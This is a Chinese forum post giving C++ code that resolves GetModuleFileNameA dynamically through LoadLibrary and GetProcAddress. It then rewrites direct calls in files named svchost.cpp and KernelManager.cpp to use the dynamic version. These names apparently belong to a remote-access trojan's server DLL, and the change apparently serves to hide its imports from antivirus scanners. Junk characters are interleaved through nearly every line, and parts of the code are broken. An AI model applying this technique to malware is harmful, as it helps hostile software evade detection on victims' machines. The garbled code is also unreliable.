返回列表 发帖

[原创文章] 全局动态调用

全局动态调用笔记
7 p* U  J* m, s1 esvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
0 g0 V3 @0 y9 g9 k----------------------------------------5 K* [2 G) S; R$ f+ t3 ^
DTDY.h:
' s" q, i% |8 }! \/ P6 q/ U2 x
( S7 ~& F  [! D( g' G#if _MSC_VER>1000
& v) q0 z+ E7 M9 D#pragma once
1 F! A' m9 @" [( a  E8 ?+ a# o#endif //_MSC_VER>1000" f9 o+ T2 d3 v0 L7 o
#include<windows.h>
! Q; e) g0 r  i, A4 W4 _! a2 z/ a5 u8 b
2 I9 X6 J% R5 E5 N% ?" Btypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
& O8 k* |& x8 G) n8 hclass DTDY0 B# \. t, }0 U+ u9 w% l
{
* x* r) A% p+ |2 N0 _# e$ zpublic:
: |4 V0 l. k$ oDTDY();* H& m- l$ i" R
virtual ~DTDY();
" b7 w7 ^  [& _* ypublic:
3 |/ S+ X) N& zstatic pGetModuleFileNameA MyGetModuleFileName;5 A3 b7 v) c9 m
static BOOL FunInitiallization();
0 m/ e8 l1 ~: Q4 T4 U3 q) ^};
1 F2 R% Z& z' R6 ~& g0 ?% ^3 Q#endif
* E# c/ ]4 m; Z9 j1 w4 O- E5 v----------------------------------------5 @$ O# K) x" K
$ s5 ]& v! D9 ?# b
DTDY.cpp:
4 n. J% f9 a9 {/ x8 \
9 _+ q% m: |( ]#include "DTDY.h"
. E7 `9 w# Q% |& bpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
" s. \7 d2 n- hDTDY:TDY()7 Z1 ]  K' z6 ^" [# d" A& l
{" ?8 G" k3 h( R! [5 e, ]% W$ s
}
8 u7 p  q$ c7 K' D) }+ F, B7 eDTDY::~DTDY()
6 Q8 H; k' e0 d2 ?3 }{
' Q" J9 z8 I$ ^- z8 u7 T}0 }( t& s5 s. U. I5 D  ^
BOOL DTDY::FunInitiallization()1 ~! r9 P2 L! Z- B  A0 `
{4 }+ b* V0 |" n7 Z
HMODULE hModule=LoadLibrary("kernel32.dll");
6 w3 M* ~2 Y! g; l8 u% M7 wMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
* i* S4 T3 S; [; I2 T' `3 X3 Rif(!MyGetModuleFileName=) return FALSE;2 ^* x# n. E5 t, R2 R: _  R3 d

6 R8 b# G5 r, V, V/ q* a% Q/ Breturn TRUE;
; E$ i9 Z* R! E8 \}
0 r9 U- f. i0 o----------------------------------------4 N2 o+ F- t6 H1 N6 v0 S  A
svchost.cpp:6 |+ z! T2 |' A  {' Q0 B

5 a/ C2 ^0 X! w( `' D#include "DTDY.h"
7 [6 M" M( F1 V2 l- S6 N- Y6 z% n3 q9 {8 ^+ X. R
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)$ D3 ~. b; M9 O; Y6 x  z
{
2 E* A5 s7 L3 R& S8 \1 {switch(ul_reason_for_call)
" B& w& O# S! u; o8 g0 Y{" |: y: T: [2 D; V2 E: M' p
case DLL_PROCESS_ATTACH:! m' ~+ V. F4 B- b0 N
if(!DTDY::FunInitiallization()) return FALSE;
4 Y: D8 \# Y! B5 H
7 ?/ @: i2 L2 `break;
9 u( K6 j( P; l7 N% y9 f2 T}
# B7 j$ p* b; D. {; \}
% s# J) a6 \" ~8 a1 _# |+ n; t# s' I

$ P, K. l. m! n  D# y- D0 ^GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 ~2 @0 y, ?, {! D+ H: d4 P& G9 V# j改写为
9 W: `& U7 S9 h+ E' C1 G9 f* L: dDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));+ p( }/ s  w1 Q" {% M
----------------------------------------: a) ]0 }* H; F" H
KernelManager.cpp:4 a9 u; f0 V- I7 j) d( k

4 G& f) u  n. w#include "../DTDY.h"# |6 a$ q3 s$ ?2 g: Q8 Q) ~
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));3 a  a6 t8 C% [
改写为
* `$ b) \+ j8 ADTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));+ M% @+ I: p4 N3 C2 [  c
----------------------------------------

返回列表